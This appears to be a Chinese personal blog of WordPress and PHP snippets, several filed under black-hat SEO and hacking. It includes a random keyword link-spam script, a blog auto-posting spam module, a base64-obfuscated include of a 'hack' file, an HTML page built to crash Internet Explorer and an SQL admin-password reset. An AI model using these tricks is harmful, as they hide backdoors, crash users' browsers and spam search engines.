04月 3rd, 2012
混世魔王
file_get_contents改进wordpress 的模板,对关键字的输出。
<?php
set_time_limit(0);
$file = file_get_contents("neirong.txt");
$t = explode("\r\n",$file);
$tnum = count($t)-1;
for($i=0;$i<100;$i++)
{
$neirong = $t[mt_rand(0,$tnum-1)];
$url="<a href = 'http://26836659.blogcn.com'>.$neirong.</a>";
echo($url);
echo("<br>");
}
?>
<?php
$url_this = "http://".$_SERVER ['HTTP_HOST']; //获取URL
// echo $url_this;
$ctx = stream_context_create(array(
'http' => array(
'timeout' => 1 //设置一个超时时间,单位为秒
)
)
);
$file ="$url_this//search.php?type=query&q=$query";
$content = file_get_contents($file,0,$ctx);
//echo $content;
$array = explode("\r\n", $content);
//print_r($array);
for($i=0; $i<count($array); $i++)
{
echo $array[$i].'<br />';
}
?>
Posted in wordpress
Tags: file_get_contents 随机
Edit this entry
11月 27th, 2011
混世魔王
写了一个 火车头采集器 百度BLOG(博客)文章发布模块



每次 文章发布 有不超过500篇的限制

整理了一些其他的发布模块。如163.sina,博客大巴,51 的。抽时间要升级一下。再放到群里。

Posted in 代码相关, 百度黑帽SEO, 黑帽软件
Tags: 火车头 百度BLOG 发布模块, 火车头采集器, 火车头采集器 百度BLOG(博客), 火车头采集器 百度博客 发布模块, 百度博客自动发布
Edit this entry
11月 5th, 2011
混世魔王
改写用在wordpress分类的纯CSS下拉框。
<table width="160" border="0" cellspacing="0" cellpadding="0">
<tr>
<td><div>
<div>
<div>
<div onmouseover=this.className='over' onmouseout=this.className='normal'>
<a href='<?php bloginfo('url'); ?>'>category</a>
<ul>
<li><?php wp_list_categories('orderby=name&show_count=0&use_desc_for_title=0&title_li=&depth=0&hide_empty=0'); ?></li>
</ul>
</div>
</div>
</div>
</div>
<td>
</tr>
</table>
style.css 的CSS 代码。
.CategoryMouseover .normal{
position:relative;
z-index:9;
color:#000;
line-height: 30px;
text-align: center;
}
.CategoryMouseover .over{
position:relative;
z-index:998;
color:#000;
background:#f2f2f2;
line-height: 30px;
text-align: center;
}
.CategoryMouseover .normal a,
.CategoryMouseover .over a{
font-weight:700;
display:block;
border-bottom:1px dotted #ccc;
height:22px;
}
.CategoryMouseover .normal ul{
display:none;
}
.CategoryMouseover .over ul{
display:block;
background-color:#fff;
position:absolute;
top:0;
right:-80px;
background:#fff;
z-index:10;
text-align:left;
border-bottom:none;
}
.CategoryMouseover .over ul li a{
border-left:1px solid #ccc;
border-right:1px solid #ccc;
display:block;
width:130px;
background:#f2f2f2;
color:#000;
padding-left:6px;
}
.CategoryMouseover .over ul li a:hover{
background:#666666;
color:#fff;
}
Posted in wordpress
Tags: wordpress, 下拉框, 纯CSS下拉框
Edit this entry
09月 30th, 2011
混世魔王
wordpress 随机获取文章图片,
以前的wordpress 的图片模板,用的 timthumb.php 来实现自动获取文章中的图片,有漏洞。
于是网上找了其他方式的代码。经过修改,基本可以实现 所有的需求了吧。
1.只提取文章中的一个图片地址。
2.而且可以自己通过图片的 width 和 height 实现浓缩图的效果。
3.当文章没有图片的时候,随机显示图片(避免重复)
<?php
$soContent = $post->post_content;
$ext = 'gif|jpg|jpeg|bmp|png';
preg_match_all ('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $soContent, $thePics );
$allPics = count($thePics[0]);
switch ( $allPics > 0 ) {
case $allPics = 1:
echo $thePics[1][0]; // 显示文章中的第一张图片
break; // 当图片数量有1个时,不再执行
default:
$dir=get_bloginfo('template_url')."/gif.txt"; //需要建立一个随机图片的gif.txt文件
$arrayall=file( $dir );//读出txt内容到数组
$arrays=count($arrayall);
if ($arrays==1){//because rand(0,0) is wrong
$selectrand=0;
}else{
srand((double)microtime()*1000000);//设定随机数种子
$selectrand=rand(0,$arrays-1);
}
$exstr=explode(chr(9),$arrayall[$selectrand]);//从全部中随机取出一个并分割
echo $exstr[0];
};
?>
使用方法:
<?php query_posts('showposts=5&offset=1'); ?> 设置wordpress 分类显示的条数
<?php while (have_posts()) : the_post(); ?>
<a href="<?php the_permalink() ?>" title="<?php the_title(); ?>"><img src="<?php include (TEMPLATEPATH . '/hsmw.php'); ?> "width="110" height="90" alt="<?php the_title(); ?>" /></a> 提取文章中的一个图片,如果没有随机图片
<a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a> 标题显示
<?php echo mb_strimwidth(strip_tags(apply_filters('the_content', $post->post_content)), 0, 100,"..."); ?> 显示文章内容的前100个字符
<?php endwhile; ?>
Posted in wordpress, 代码相关
Tags: wordpress 随机获取文章图片
Edit this entry
09月 27th, 2011
混世魔王
<?php
$str = 'images\file.txt';
echo base64_encode($str);
?>
<?
$str= base64_decode("aW1hZ2VzXGZpbGUudHh0");
include $str;
?>
<? include( base64_decode("ZZW5xdWV0ZTNfaGFjay5waHA=")); ?>
Posted in 代码相关
Edit this entry
08月 10th, 2011
混世魔王
Posted in 代码相关, 英文站SEO
Edit this entry
08月 9th, 2011
混世魔王
网站访问速度,也是影响GOOGLE 排名的一种因素之一。GOOGLE 还提供了 page speed 来检测代码。
混世魔王的英文站研究,一般都是用WP的程序。
但是,WP毕竟是BLOG,数据库达到几万片文章后,就特别慢。
有的时候,为了页面多被GOOGLE 收录。就采用用随机参数。
混世魔王英文站研究 之 优化wordpress mysql 的执行效率。
例如,这一段分类随机的代码。在只有几百篇的文章下是执行正常的。
[/code]
<?php
$rand_posts = get_posts("cat=" . the_category_ID(0) . "&orderby=rand&showposts=10");
foreach( $rand_posts as $post ) :
?>
<li><h3><a href="<?php the_permalink(); ?>" title="<?php the_title(); ?>"><?php the_title(); ?></a></h3></li>
<?php endforeach; ?>
[/code]
在几万片文章下,服务器直接 time out.

因为之前的随机是在几万篇文章中随机的,
我们加入一个随机值,看看下面的代码。
[code]
<?php
$t1=microtime(true);
$rd=mt_rand(0,1000);
$myposts=get_posts('numberposts=100&offset='.$rd.'&category='.the_category_ID(0));
foreach($myposts as $post) :
echo microtime(true)-$t1."<br>";
setup_postdata($post);
?>
<li><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></li>
<?php endforeach; ?>
[/code]
网站能显示了。但是 MYSQL 的数据库查询值在 8 秒。

继续,优化。
[code]
<?php
$t1=microtime(true);
$rand_posts = $wpdb->get_results("SELECT id,post_title FROM $wpdb->posts WHERE id >= (SELECT floor(RAND() * (SELECT MAX(id) FROM $wpdb->posts))) ORDER BY id LIMIT 0,200");
echo microtime(true)-$t1."<br>";
foreach($rand_posts as $post ){?>
<li><a href="<?php the_permalink(); ?>" title="<?php the_title(); ?>"><?php the_title(); ?></a>
</li>
<?php } ?>
[/code]

可以看到,上万的文章,随机输出200篇,查询 0.02 秒。
执行效率得到大幅度提升。
<?php
$t1=microtime(true);
$wpcount = $wpdb->get_var($wpdb->prepare("SELECT count(*) FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish'"));
$randid = mt_rand(0,$wpcount-12);
$myposts = $wpdb->get_results("SELECT id,post_title FROM $wpdb->posts WHERE post_type = 'post' AND post_status ='publish' and id>$randid limit 12");
echo microtime(true)-$t1."<br>";
foreach($myposts as $post){
?>
<li><a href="<?php echo get_permalink($post->id); ?>" title="<?php echo $post->post_title; ?>"><?php echo $post->post_title; ?></a></li>
<?php
}?>
Posted in wordpress, 代码相关, 英文站SEO
Tags: mysql seo, mysql 执行效率, wordpress mysql, wordpress mysql seo, 混世魔王英文站
Edit this entry
05月 6th, 2011
混世魔王
<html><head>
<style type="text/css">
#a {
margin:0 10px 10px;
}
#b {
width:100%;
}
</style>
<title>IE Crasher</title>
</head>
<body>
<table><tr><td>
<div id="a">
<form id="b">
<input type="text" name="test"/>
</div>
</td><td width="1"></td></tr></table>
</body></html>
然后用Internet Explorer打开它
Posted in 乱七八糟, 代码相关, 黑客入侵方面
Edit this entry
06月 6th, 2010
混世魔王
<?php
//mysql back up databases
set_time_limit(0);
$date = date("mdy-hia");
$dbserver = "localhost";
$dbuser = "混世魔王";
$dbpass = "混世魔王";
$dbname = "混世魔王";
$file = "$dbname.sql.gz";
$gzip = TRUE;
$silent = TRUE;
function write($contents) {
if ($GLOBALS['gzip']) {
gzwrite($GLOBALS['fp'], $contents);
} else {
fwrite($GLOBALS['fp'], $contents);
}
}
mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
//$qy="SET NAMES BIG5";
//$result=mysql_db_query($dbname, $qy);
if ($gzip) {
$fp = gzopen($file, "w");
} else {
$fp = fopen($file, "w");
}
$tables = mysql_query ("SHOW TABLES");
while ($i = mysql_fetch_array($tables)) {
$i = $i['Tables_in_'.$dbname];
if (!$silent) {
echo "Backing up table ".$i."n";
}
$create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
write($create['Create Table'].";nn");
$sql = mysql_query ("SELECT * FROM ".$i);
if (mysql_num_rows($sql)) {
while ($row = mysql_fetch_row($sql)) {
foreach ($row as $j => $k) {
$row[$j] = "'".mysql_escape_string($k)."'";
}
write("INSERT INTO $i VALUES(".implode(",", $row).");n");
}
}
}
$gzip ? gzclose($fp) : fclose ($fp);
$use_gzip = "yes";
$remove_sql_file = "no";
$remove_gzip_file = "no";
$savepath = "/home/qq/gfx/";
$senddate = date("j F Y");
$date = date("mdy-hia");
$filename = "$savepath/$dbname-$date.sql";
if($use_gzip=="yes"){
$filename2 = $file;
} else {
$filename2 = "$savepath/$dbname-$date.sql";
}
?>
Posted in 乱七八糟, 代码相关
Edit this entry
01月 9th, 2010
混世魔王
MYSQL 修改 Discuz! dz7 管理员密码为123456
UPDATE `cdb_uc_members` SET `password`='3fa040ced9e94e1a7c8028012fdc18f8', `salt`='d6ea06' WHERE (`username`='混世魔王') LIMIT 1
Posted in 乱七八糟, 代码相关
Edit this entry